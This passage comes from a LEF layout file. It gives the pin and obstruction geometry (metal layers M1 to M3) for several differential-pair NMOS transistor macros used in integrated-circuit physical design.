; LAYER M1 ; RECT 0.8640 3.4920 0.8960 4.0680 ; LAYER M1 ; RECT 1.5040 3.4920 1.5360 4.0680 ; LAYER M1 ; RECT 3.4240 3.4920 3.4560 4.0680 ; LAYER M1 ; RECT 4.0640 3.4920 4.0960 4.0680 ; LAYER M1 ; RECT 5.9840 3.4920 6.0160 4.0680 ; LAYER M1 ; RECT 0.3840 3.4920 0.4160 4.0680 ; LAYER M1 ; RECT 2.3040 3.4920 2.3360 4.0680 ; LAYER M1 ; RECT 2.9440 3.4920 2.9760 4.0680 ; LAYER M1 ; RECT 4.8640 3.4920 4.8960 4.0680 ; LAYER M1 ; RECT 5.5040 3.4920 5.5360 4.0680 ; LAYER M1 ; RECT 1.0240 3.4920 1.0560 4.0680 ; LAYER M1 ; RECT 1.6640 3.4920 1.6960 4.0680 ; LAYER M1 ; RECT 3.5840 3.4920 3.6160 4.0680 ; LAYER M1 ; RECT 4.2240 3.4920 4.2560 4.0680 ; LAYER M1 ; RECT 6.1440 3.4920 6.1760 4.0680 ; LAYER M1 ; RECT 0.3040 3.4920 0.3360 4.0680 ; LAYER M1 ; RECT 2.2240 3.4920 2.2560 4.0680 ; LAYER M1 ; RECT 2.8640 3.4920 2.8960 4.0680 ; LAYER M1 ; RECT 4.7840 3.4920 4.8160 4.0680 ; LAYER M1 ; RECT 5.4240 3.4920 5.4560 4.0680 ; LAYER M1 ; RECT 0.9440 3.4920 0.9760 4.0680 ; LAYER M1 ; RECT 1.5840 3.4920 1.6160 4.0680 ; LAYER M1 ; RECT 3.5040 3.4920 3.5360 4.0680 ; LAYER M1 ; RECT 4.1440 3.4920 4.1760 4.0680 ; LAYER M1 ; RECT 6.0640 3.4920 6.0960 4.0680 ; LAYER M1 ; RECT 0.2240 4.3320 0.2560 4.9080 ; LAYER M1 ; RECT 2.1440 4.3320 2.1760 4.9080 ; LAYER M1 ; RECT 2.7840 4.3320 2.8160 4.9080 ; LAYER M1 ; RECT 4.7040 4.3320 4.7360 4.9080 ; LAYER M1 ; RECT 5.3440 4.3320 5.3760 4.9080 ; LAYER M1 ; RECT 0.8640 4.3320 0.8960 4.9080 ; LAYER M1 ; RECT 1.5040 4.3320 1.5360 4.9080 ; LAYER M1 ; RECT 3.4240 4.3320 3.4560 4.9080 ; LAYER M1 ; RECT 4.0640 4.3320 4.0960 4.9080 ; LAYER M1 ; RECT 5.9840 4.3320 6.0160 4.9080 ; LAYER M1 ; RECT 0.3840 4.3320 0.4160 4.9080 ; LAYER M1 ; RECT 2.3040 4.3320 2.3360 4.9080 ; LAYER M1 ; RECT 2.9440 4.3320 2.9760 4.9080 ; LAYER M1 ; RECT 4.8640 4.3320 4.8960 4.9080 ; LAYER M1 ; RECT 5.5040 4.3320 5.5360 4.9080 ; LAYER M1 ; RECT 1.0240 4.3320 1.0560 4.9080 ; LAYER M1 ; RECT 1.6640 4.3320 1.6960 4.9080 ; LAYER M1 ; RECT 3.5840 4.3320 3.6160 4.9080 ; LAYER M1 ; RECT 4.2240 4.3320 4.2560 4.9080 ; LAYER M1 ; RECT 6.1440 4.3320 6.1760 4.9080 ; LAYER M1 ; RECT 0.3040 4.3320 0.3360 4.9080 ; LAYER M1 ; RECT 2.2240 4.3320 2.2560 4.9080 ; LAYER M1 ; RECT 2.8640 4.3320 2.8960 4.9080 ; LAYER M1 ; RECT 4.7840 4.3320 4.8160 4.9080 ; LAYER M1 ; RECT 5.4240 4.3320 5.4560 4.9080 ; LAYER M1 ; RECT 0.9440 4.3320 0.9760 4.9080 ; LAYER M1 ; RECT 1.5840 4.3320 1.6160 4.9080 ; LAYER M1 ; RECT 3.5040 4.3320 3.5360 4.9080 ; LAYER M1 ; RECT 4.1440 4.3320 4.1760 4.9080 ; LAYER M1 ; RECT 6.0640 4.3320 6.0960 4.9080 ; LAYER M1 ; RECT 0.2240 5.1720 0.2560 5.7480 ; LAYER M1 ; RECT 2.1440 5.1720 2.1760 5.7480 ; LAYER M1 ; RECT 2.7840 5.1720 2.8160 5.7480 ; LAYER M1 ; RECT 4.7040 5.1720 4.7360 5.7480 ; LAYER M1 ; RECT 5.3440 5.1720 5.3760 5.7480 ; LAYER M1 ; RECT 0.8640 5.1720 0.8960 5.7480 ; LAYER M1 ; RECT 1.5040 5.1720 1.5360 5.7480 ; LAYER M1 ; RECT 3.4240 5.1720 3.4560 5.7480 ; LAYER M1 ; RECT 4.0640 5.1720 4.0960 5.7480 ; LAYER M1 ; RECT 5.9840 5.1720 6.0160 5.7480 ; LAYER M1 ; RECT 0.3840 5.1720 0.4160 5.7480 ; LAYER M1 ; RECT 2.3040 5.1720 2.3360 5.7480 ; LAYER M1 ; RECT 2.9440 5.1720 2.9760 5.7480 ; LAYER M1 ; RECT 4.8640 5.1720 4.8960 5.7480 ; LAYER M1 ; RECT 5.5040 5.1720 5.5360 5.7480 ; LAYER M1 ; RECT 1.0240 5.1720 1.0560 5.7480 ; LAYER M1 ; RECT 1.6640 5.1720 1.6960 5.7480 ; LAYER M1 ; RECT 3.5840 5.1720 3.6160 5.7480 ; LAYER M1 ; RECT 4.2240 5.1720 4.2560 5.7480 ; LAYER M1 ; RECT 6.1440 5.1720 6.1760 5.7480 ; LAYER M1 ; RECT 0.3040 5.1720 0.3360 5.7480 ; LAYER M1 ; RECT 2.2240 5.1720 2.2560 5.7480 ; LAYER M1 ; RECT 2.8640 5.1720 2.8960 5.7480 ; LAYER M1 ; RECT 4.7840 5.1720 4.8160 5.7480 ; LAYER M1 ; RECT 5.4240 5.1720 5.4560 5.7480 ; LAYER M1 ; RECT 0.9440 5.1720 0.9760 5.7480 ; LAYER M1 ; RECT 1.5840 5.1720 1.6160 5.7480 ; LAYER M1 ; RECT 3.5040 5.1720 3.5360 5.7480 ; LAYER M1 ; RECT 4.1440 5.1720 4.1760 5.7480 ; LAYER M1 ; RECT 6.0640 5.1720 6.0960 5.7480 ; LAYER M1 ; RECT 0.2240 6.0120 0.2560 6.5880 ; LAYER M1 ; RECT 2.1440 6.0120 2.1760 6.5880 ; LAYER M1 ; RECT 2.7840 6.0120 2.8160 6.5880 ; LAYER M1 ; RECT 4.7040 6.0120 4.7360 6.5880 ; LAYER M1 ; RECT 5.3440 6.0120 5.3760 6.5880 ; LAYER M1 ; RECT 0.8640 6.0120 0.8960 6.5880 ; LAYER M1 ; RECT 1.5040 6.0120 1.5360 6.5880 ; LAYER M1 ; RECT 3.4240 6.0120 3.4560 6.5880 ; LAYER M1 ; RECT 4.0640 6.0120 4.0960 6.5880 ; LAYER M1 ; RECT 5.9840 6.0120 6.0160 6.5880 ; LAYER M1 ; RECT 0.3840 6.0120 0.4160 6.5880 ; LAYER M1 ; RECT 2.3040 6.0120 2.3360 6.5880 ; LAYER M1 ; RECT 2.9440 6.0120 2.9760 6.5880 ; LAYER M1 ; RECT 4.8640 6.0120 4.8960 6.5880 ; LAYER M1 ; RECT 5.5040 6.0120 5.5360 6.5880 ; LAYER M1 ; RECT 1.0240 6.0120 1.0560 6.5880 ; LAYER M1 ; RECT 1.6640 6.0120 1.6960 6.5880 ; LAYER M1 ; RECT 3.5840 6.0120 3.6160 6.5880 ; LAYER M1 ; RECT 4.2240 6.0120 4.2560 6.5880 ; LAYER M1 ; RECT 6.1440 6.0120 6.1760 6.5880 ; LAYER M1 ; RECT 0.3040 6.0120 0.3360 6.5880 ; LAYER M1 ; RECT 2.2240 6.0120 2.2560 6.5880 ; LAYER M1 ; RECT 2.8640 6.0120 2.8960 6.5880 ; LAYER M1 ; RECT 4.7840 6.0120 4.8160 6.5880 ; LAYER M1 ; RECT 5.4240 6.0120 5.4560 6.5880 ; LAYER M1 ; RECT 0.9440 6.0120 0.9760 6.5880 ; LAYER M1 ; RECT 1.5840 6.0120 1.6160 6.5880 ; LAYER M1 ; RECT 3.5040 6.0120 3.5360 6.5880 ; LAYER M1 ; RECT 4.1440 6.0120 4.1760 6.5880 ; LAYER M1 ; RECT 6.0640 6.0120 6.0960 6.5880 ; END END CMB_4_n10_A1_B1_C2_D4 MACRO DP_NMOS_n10_X5_Y2 ORIGIN 0 0 ; FOREIGN DP_NMOS_n10_X5_Y2 0 0 ; SIZE 6.4000 BY 1.7640 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 6.1960 0.2680 ; LAYER M2 ; RECT 0.2040 1.0760 6.1960 1.1080 ; END END S PIN G1 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.1520 6.1960 0.1840 ; LAYER M2 ; RECT 0.2040 0.9920 6.1960 1.0240 ; END END G1 PIN G2 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.4040 6.1960 0.4360 ; LAYER M2 ; RECT 0.2040 1.2440 6.1960 1.2760 ; END END G2 PIN D1 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 6.1960 0.3520 ; LAYER M2 ; RECT 0.2040 1.1600 6.1960 1.1920 ; END END D1 PIN D2 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.4880 6.1960 0.5200 ; LAYER M2 ; RECT 0.2040 1.3280 6.1960 1.3600 ; END END D2 OBS LAYER M3 ; RECT 0.2240 0.2160 0.2560 1.1280 ; LAYER M3 ; RECT 0.3040 0.1320 0.3360 1.0440 ; LAYER M3 ; RECT 0.3840 0.3000 0.4160 1.2120 ; LAYER M3 ; RECT 0.9440 0.3840 0.9760 1.2960 ; LAYER M3 ; RECT 1.0240 0.4680 1.0560 1.3800 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 2.7840 0.1320 2.8160 0.7080 ; LAYER M1 ; RECT 4.7040 0.1320 4.7360 0.7080 ; LAYER M1 ; RECT 5.3440 0.1320 5.3760 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 3.4240 0.1320 3.4560 0.7080 ; LAYER M1 ; RECT 4.0640 0.1320 4.0960 0.7080 ; LAYER M1 ; RECT 5.9840 0.1320 6.0160 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 2.9440 0.1320 2.9760 0.7080 ; LAYER M1 ; RECT 4.8640 0.1320 4.8960 0.7080 ; LAYER M1 ; RECT 5.5040 0.1320 5.5360 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 3.5840 0.1320 3.6160 0.7080 ; LAYER M1 ; RECT 4.2240 0.1320 4.2560 0.7080 ; LAYER M1 ; RECT 6.1440 0.1320 6.1760 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 2.8640 0.1320 2.8960 0.7080 ; LAYER M1 ; RECT 4.7840 0.1320 4.8160 0.7080 ; LAYER M1 ; RECT 5.4240 0.1320 5.4560 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 3.5040 0.1320 3.5360 0.7080 ; LAYER M1 ; RECT 4.1440 0.1320 4.1760 0.7080 ; LAYER M1 ; RECT 6.0640 0.1320 6.0960 0.7080 ; LAYER M1 ; RECT 0.2240 0.9720 0.2560 1.5480 ; LAYER M1 ; RECT 2.1440 0.9720 2.1760 1.5480 ; LAYER M1 ; RECT 2.7840 0.9720 2.8160 1.5480 ; LAYER M1 ; RECT 4.7040 0.9720 4.7360 1.5480 ; LAYER M1 ; RECT 5.3440 0.9720 5.3760 1.5480 ; LAYER M1 ; RECT 0.8640 0.9720 0.8960 1.5480 ; LAYER M1 ; RECT 1.5040 0.9720 1.5360 1.5480 ; LAYER M1 ; RECT 3.4240 0.9720 3.4560 1.5480 ; LAYER M1 ; RECT 4.0640 0.9720 4.0960 1.5480 ; LAYER M1 ; RECT 5.9840 0.9720 6.0160 1.5480 ; LAYER M1 ; RECT 0.3840 0.9720 0.4160 1.5480 ; LAYER M1 ; RECT 2.3040 0.9720 2.3360 1.5480 ; LAYER M1 ; RECT 2.9440 0.9720 2.9760 1.5480 ; LAYER M1 ; RECT 4.8640 0.9720 4.8960 1.5480 ; LAYER M1 ; RECT 5.5040 0.9720 5.5360 1.5480 ; LAYER M1 ; RECT 1.0240 0.9720 1.0560 1.5480 ; LAYER M1 ; RECT 1.6640 0.9720 1.6960 1.5480 ; LAYER M1 ; RECT 3.5840 0.9720 3.6160 1.5480 ; LAYER M1 ; RECT 4.2240 0.9720 4.2560 1.5480 ; LAYER M1 ; RECT 6.1440 0.9720 6.1760 1.5480 ; LAYER M1 ; RECT 0.3040 0.9720 0.3360 1.5480 ; LAYER M1 ; RECT 2.2240 0.9720 2.2560 1.5480 ; LAYER M1 ; RECT 2.8640 0.9720 2.8960 1.5480 ; LAYER M1 ; RECT 4.7840 0.9720 4.8160 1.5480 ; LAYER M1 ; RECT 5.4240 0.9720 5.4560 1.5480 ; LAYER M1 ; RECT 0.9440 0.9720 0.9760 1.5480 ; LAYER M1 ; RECT 1.5840 0.9720 1.6160 1.5480 ; LAYER M1 ; RECT 3.5040 0.9720 3.5360 1.5480 ; LAYER M1 ; RECT 4.1440 0.9720 4.1760 1.5480 ; LAYER M1 ; RECT 6.0640 0.9720 6.0960 1.5480 ; END END DP_NMOS_n10_X5_Y2 MACRO DP_NMOS_n10_X5_Y4 ORIGIN 0 0 ; FOREIGN DP_NMOS_n10_X5_Y4 0 0 ; SIZE 6.4000 BY 3.4440 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 6.1960 0.2680 ; LAYER M2 ; RECT 0.2040 1.0760 6.1960 1.1080 ; LAYER M2 ; RECT 0.2040 1.9160 6.1960 1.9480 ; LAYER M2 ; RECT 0.2040 2.7560 6.1960 2.7880 ; END END S PIN G1 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.1520 6.1960 0.1840 ; LAYER M2 ; RECT 0.2040 0.9920 6.1960 1.0240 ; LAYER M2 ; RECT 0.2040 1.8320 6.1960 1.8640 ; LAYER M2 ; RECT 0.2040 2.6720 6.1960 2.7040 ; END END G1 PIN G2 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.4040 6.1960 0.4360 ; LAYER M2 ; RECT 0.2040 1.2440 6.1960 1.2760 ; LAYER M2 ; RECT 0.2040 2.0840 6.1960 2.1160 ; LAYER M2 ; RECT 0.2040 2.9240 6.1960 2.9560 ; END END G2 PIN D1 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 6.1960 0.3520 ; LAYER M2 ; RECT 0.2040 1.1600 6.1960 1.1920 ; LAYER M2 ; RECT 0.2040 2.0000 6.1960 2.0320 ; LAYER M2 ; RECT 0.2040 2.8400 6.1960 2.8720 ; END END D1 PIN D2 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.4880 6.1960 0.5200 ; LAYER M2 ; RECT 0.2040 1.3280 6.1960 1.3600 ; LAYER M2 ; RECT 0.2040 2.1680 6.1960 2.2000 ; LAYER M2 ; RECT 0.2040 3.0080 6.1960 3.0400 ; END END D2 OBS LAYER M3 ; RECT 0.2240 0.2160 0.2560 2.8080 ; LAYER M3 ; RECT 0.3040 0.1320 0.3360 2.7240 ; LAYER M3 ; RECT 0.3840 0.3000 0.4160 2.8920 ; LAYER M3 ; RECT 0.9440 0.3840 0.9760 2.9760 ; LAYER M3 ; RECT 1.0240 0.4680 1.0560 3.0600 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 2.7840 0.1320 2.8160 0.7080 ; LAYER M1 ; RECT 4.7040 0.1320 4.7360 0.7080 ; LAYER M1 ; RECT 5.3440 0.1320 5.3760 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 3.4240 0.1320 3.4560 0.7080 ; LAYER M1 ; RECT 4.0640 0.1320 4.0960 0.7080 ; LAYER M1 ; RECT 5.9840 0.1320 6.0160 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 2.9440 0.1320 2.9760 0.7080 ; LAYER M1 ; RECT 4.8640 0.1320 4.8960 0.7080 ; LAYER M1 ; RECT 5.5040 0.1320 5.5360 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 3.5840 0.1320 3.6160 0.7080 ; LAYER M1 ; RECT 4.2240 0.1320 4.2560 0.7080 ; LAYER M1 ; RECT 6.1440 0.1320 6.1760 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 2.8640 0.1320 2.8960 0.7080 ; LAYER M1 ; RECT 4.7840 0.1320 4.8160 0.7080 ; LAYER M1 ; RECT 5.4240 0.1320 5.4560 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 3.5040 0.1320 3.5360 0.7080 ; LAYER M1 ; RECT 4.1440 0.1320 4.1760 0.7080 ; LAYER M1 ; RECT 6.0640 0.1320 6.0960 0.7080 ; LAYER M1 ; RECT 0.2240 0.9720 0.2560 1.5480 ; LAYER M1 ; RECT 2.1440 0.9720 2.1760 1.5480 ; LAYER M1 ; RECT 2.7840 0.9720 2.8160 1.5480 ; LAYER M1 ; RECT 4.7040 0.9720 4.7360 1.5480 ; LAYER M1 ; RECT 5.3440 0.9720 5.3760 1.5480 ; LAYER M1 ; RECT 0.8640 0.9720 0.8960 1.5480 ; LAYER M1 ; RECT 1.5040 0.9720 1.5360 1.5480 ; LAYER M1 ; RECT 3.4240 0.9720 3.4560 1.5480 ; LAYER M1 ; RECT 4.0640 0.9720 4.0960 1.5480 ; LAYER M1 ; RECT 5.9840 0.9720 6.0160 1.5480 ; LAYER M1 ; RECT 0.3840 0.9720 0.4160 1.5480 ; LAYER M1 ; RECT 2.3040 0.9720 2.3360 1.5480 ; LAYER M1 ; RECT 2.9440 0.9720 2.9760 1.5480 ; LAYER M1 ; RECT 4.8640 0.9720 4.8960 1.5480 ; LAYER M1 ; RECT 5.5040 0.9720 5.5360 1.5480 ; LAYER M1 ; RECT 1.0240 0.9720 1.0560 1.5480 ; LAYER M1 ; RECT 1.6640 0.9720 1.6960 1.5480 ; LAYER M1 ; RECT 3.5840 0.9720 3.6160 1.5480 ; LAYER M1 ; RECT 4.2240 0.9720 4.2560 1.5480 ; LAYER M1 ; RECT 6.1440 0.9720 6.1760 1.5480 ; LAYER M1 ; RECT 0.3040 0.9720 0.3360 1.5480 ; LAYER M1 ; RECT 2.2240 0.9720 2.2560 1.5480 ; LAYER M1 ; RECT 2.8640 0.9720 2.8960 1.5480 ; LAYER M1 ; RECT 4.7840 0.9720 4.8160 1.5480 ; LAYER M1 ; RECT 5.4240 0.9720 5.4560 1.5480 ; LAYER M1 ; RECT 0.9440 0.9720 0.9760 1.5480 ; LAYER M1 ; RECT 1.5840 0.9720 1.6160 1.5480 ; LAYER M1 ; RECT 3.5040 0.9720 3.5360 1.5480 ; LAYER M1 ; RECT 4.1440 0.9720 4.1760 1.5480 ; LAYER M1 ; RECT 6.0640 0.9720 6.0960 1.5480 ; LAYER M1 ; RECT 0.2240 1.8120 0.2560 2.3880 ; LAYER M1 ; RECT 2.1440 1.8120 2.1760 2.3880 ; LAYER M1 ; RECT 2.7840 1.8120 2.8160 2.3880 ; LAYER M1 ; RECT 4.7040 1.8120 4.7360 2.3880 ; LAYER M1 ; RECT 5.3440 1.8120 5.3760 2.3880 ; LAYER M1 ; RECT 0.8640 1.8120 0.8960 2.3880 ; LAYER M1 ; RECT 1.5040 1.8120 1.5360 2.3880 ; LAYER M1 ; RECT 3.4240 1.8120 3.4560 2.3880 ; LAYER M1 ; RECT 4.0640 1.8120 4.0960 2.3880 ; LAYER M1 ; RECT 5.9840 1.8120 6.0160 2.3880 ; LAYER M1 ; RECT 0.3840 1.8120 0.4160 2.3880 ; LAYER M1 ; RECT 2.3040 1.8120 2.3360 2.3880 ; LAYER M1 ; RECT 2.9440 1.8120 2.9760 2.3880 ; LAYER M1 ; RECT 4.8640 1.8120 4.8960 2.3880 ; LAYER M1 ; RECT 5.5040 1.8120 5.5360 2.3880 ; LAYER M1 ; RECT 1.0240 1.8120 1.0560 2.3880 ; LAYER M1 ; RECT 1.6640 1.8120 1.6960 2.3880 ; LAYER M1 ; RECT 3.5840 1.8120 3.6160 2.3880 ; LAYER M1 ; RECT 4.2240 1.8120 4.2560 2.3880 ; LAYER M1 ; RECT 6.1440 1.8120 6.1760 2.3880 ; LAYER M1 ; RECT 0.3040 1.8120 0.3360 2.3880 ; LAYER M1 ; RECT 2.2240 1.8120 2.2560 2.3880 ; LAYER M1 ; RECT 2.8640 1.8120 2.8960 2.3880 ; LAYER M1 ; RECT 4.7840 1.8120 4.8160 2.3880 ; LAYER M1 ; RECT 5.4240 1.8120 5.4560 2.3880 ; LAYER M1 ; RECT 0.9440 1.8120 0.9760 2.3880 ; LAYER M1 ; RECT 1.5840 1.8120 1.6160 2.3880 ; LAYER M1 ; RECT 3.5040 1.8120 3.5360 2.3880 ; LAYER M1 ; RECT 4.1440 1.8120 4.1760 2.3880 ; LAYER M1 ; RECT 6.0640 1.8120 6.0960 2.3880 ; LAYER M1 ; RECT 0.2240 2.6520 0.2560 3.2280 ; LAYER M1 ; RECT 2.1440 2.6520 2.1760 3.2280 ; LAYER M1 ; RECT 2.7840 2.6520 2.8160 3.2280 ; LAYER M1 ; RECT 4.7040 2.6520 4.7360 3.2280 ; LAYER M1 ; RECT 5.3440 2.6520 5.3760 3.2280 ; LAYER M1 ; RECT 0.8640 2.6520 0.8960 3.2280 ; LAYER M1 ; RECT 1.5040 2.6520 1.5360 3.2280 ; LAYER M1 ; RECT 3.4240 2.6520 3.4560 3.2280 ; LAYER M1 ; RECT 4.0640 2.6520 4.0960 3.2280 ; LAYER M1 ; RECT 5.9840 2.6520 6.0160 3.2280 ; LAYER M1 ; RECT 0.3840 2.6520 0.4160 3.2280 ; LAYER M1 ; RECT 2.3040 2.6520 2.3360 3.2280 ; LAYER M1 ; RECT 2.9440 2.6520 2.9760 3.2280 ; LAYER M1 ; RECT 4.8640 2.6520 4.8960 3.2280 ; LAYER M1 ; RECT 5.5040 2.6520 5.5360 3.2280 ; LAYER M1 ; RECT 1.0240 2.6520 1.0560 3.2280 ; LAYER M1 ; RECT 1.6640 2.6520 1.6960 3.2280 ; LAYER M1 ; RECT 3.5840 2.6520 3.6160 3.2280 ; LAYER M1 ; RECT 4.2240 2.6520 4.2560 3.2280 ; LAYER M1 ; RECT 6.1440 2.6520 6.1760 3.2280 ; LAYER M1 ; RECT 0.3040 2.6520 0.3360 3.2280 ; LAYER M1 ; RECT 2.2240 2.6520 2.2560 3.2280 ; LAYER M1 ; RECT 2.8640 2.6520 2.8960 3.2280 ; LAYER M1 ; RECT 4.7840 2.6520 4.8160 3.2280 ; LAYER M1 ; RECT 5.4240 2.6520 5.4560 3.2280 ; LAYER M1 ; RECT 0.9440 2.6520 0.9760 3.2280 ; LAYER M1 ; RECT 1.5840 2.6520 1.6160 3.2280 ; LAYER M1 ; RECT 3.5040 2.6520 3.5360 3.2280 ; LAYER M1 ; RECT 4.1440 2.6520 4.1760 3.2280 ; LAYER M1 ; RECT 6.0640 2.6520 6.0960 3.2280 ; END END DP_NMOS_n10_X5_Y4 MACRO DP_NMOS_n10_X8_Y5 ORIGIN 0 0 ; FOREIGN DP_NMOS_n10_X8_Y5 0 0 ; SIZE 10.2400 BY 4.2840 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 10.0360 0.2680 ; LAYER M2 ; RECT 0.2040 1.0760 10.0360 1.1080 ; LAYER M2 ; RECT 0.2040 1.9160 10.0360 1.9480 ; LAYER M2 ; RECT 0.2040 2.7560 10.0360 2.7880 ; LAYER M2 ; RECT 0.2040 3.5960 10.0360 3.6280 ; END END S PIN G1 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.1520 10.0360 0.1840 ; LAYER M2 ; RECT 0.2040 0.9920 10.0360 1.0240 ; LAYER M2 ; RECT 0.2040 1.8320 10.0360 1.8640 ; LAYER M2 ; RECT 0.2040 2.6720 10.0360 2.7040 ; LAYER M2 ; RECT 0.2040 3.5120 10.0360 3.5440 ; END END G1 PIN G2 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.4040 10.0360 0.4360 ; LAYER M2 ; RECT 0.2040 1.2440 10.0360 1.2760 ; LAYER M2 ; RECT 0.2040 2.0840 10.0360 2.1160 ; LAYER M2 ; RECT 0.2040 2.9240 10.0360 2.9560 ; LAYER M2 ; RECT 0.2040 3.7640 10.0360 3.7960 ; END END G2 PIN D1 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 10.0360 0.3520 ; LAYER M2 ; RECT 0.2040 1.1600 10.0360 1.1920 ; LAYER M2 ; RECT 0.2040 2.0000 10.0360 2.0320 ; LAYER M2 ; RECT 0.2040 2.8400 10.0360 2.8720 ; LAYER M2 ; RECT 0.2040 3.6800 10.0360 3.7120 ; END END D1 PIN D2 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.4880 10.0360 0.5200 ; LAYER M2 ; RECT 0.2040 1.3280 10.0360 1.3600 ; LAYER M2 ; RECT 0.2040 2.1680 10.0360 2.2000 ; LAYER M2 ; RECT 0.2040 3.0080 10.0360 3.0400 ; LAYER M2 ; RECT 0.2040 3.8480 10.0360 3.8800 ; END END D2 OBS LAYER M3 ; RECT 0.2240 0.2160 0.2560 3.6480 ; LAYER M3 ; RECT 0.3040 0.1320 0.3360 3.5640 ; LAYER M3 ; RECT 0.3840 0.3000 0.4160 3.7320 ; LAYER M3 ; RECT 0.9440 0.3840 0.9760 3.8160 ; LAYER M3 ; RECT 1.0240 0.4680 1.0560 3.9000 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 2.7840 0.1320 2.8160 0.7080 ; LAYER M1 ; RECT 4.7040 0.1320 4.7360 0.7080 ; LAYER M1 ; RECT 5.3440 0.1320 5.3760 0.7080 ; LAYER M1 ; RECT 7.2640 0.1320 7.2960 0.7080 ; LAYER M1 ; RECT 7.9040 0.1320 7.9360 0.7080 ; LAYER M1 ; RECT 9.8240 0.1320 9.8560 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 3.4240 0.1320 3.4560 0.7080 ; LAYER M1 ; RECT 4.0640 0.1320 4.0960 0.7080 ; LAYER M1 ; RECT 5.9840 0.1320 6.0160 0.7080 ; LAYER M1 ; RECT 6.6240 0.1320 6.6560 0.7080 ; LAYER M1 ; RECT 8.5440 0.1320 8.5760 0.7080 ; LAYER M1 ; RECT 9.1840 0.1320 9.2160 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 2.9440 0.1320 2.9760 0.7080 ; LAYER M1 ; RECT 4.8640 0.1320 4.8960 0.7080 ; LAYER M1 ; RECT 5.5040 0.1320 5.5360 0.7080 ; LAYER M1 ; RECT 7.4240 0.1320 7.4560 0.7080 ; LAYER M1 ; RECT 8.0640 0.1320 8.0960 0.7080 ; LAYER M1 ; RECT 9.9840 0.1320 10.0160 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 3.5840 0.1320 3.6160 0.7080 ; LAYER M1 ; RECT 4.2240 0.1320 4.2560 0.7080 ; LAYER M1 ; RECT 6.1440 0.1320 6.1760 0.7080 ; LAYER M1 ; RECT 6.7840 0.1320 6.8160 0.7080 ; LAYER M1 ; RECT 8.7040 0.1320 8.7360 0.7080 ; LAYER M1 ; RECT 9.3440 0.1320 9.3760 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 2.8640 0.1320 2.8960 0.7080 ; LAYER M1 ; RECT 4.7840 0.1320 4.8160 0.7080 ; LAYER M1 ; RECT 5.4240 0.1320 5.4560 0.7080 ; LAYER M1 ; RECT 7.3440 0.1320 7.3760 0.7080 ; LAYER M1 ; RECT 7.9840 0.1320 8.0160 0.7080 ; 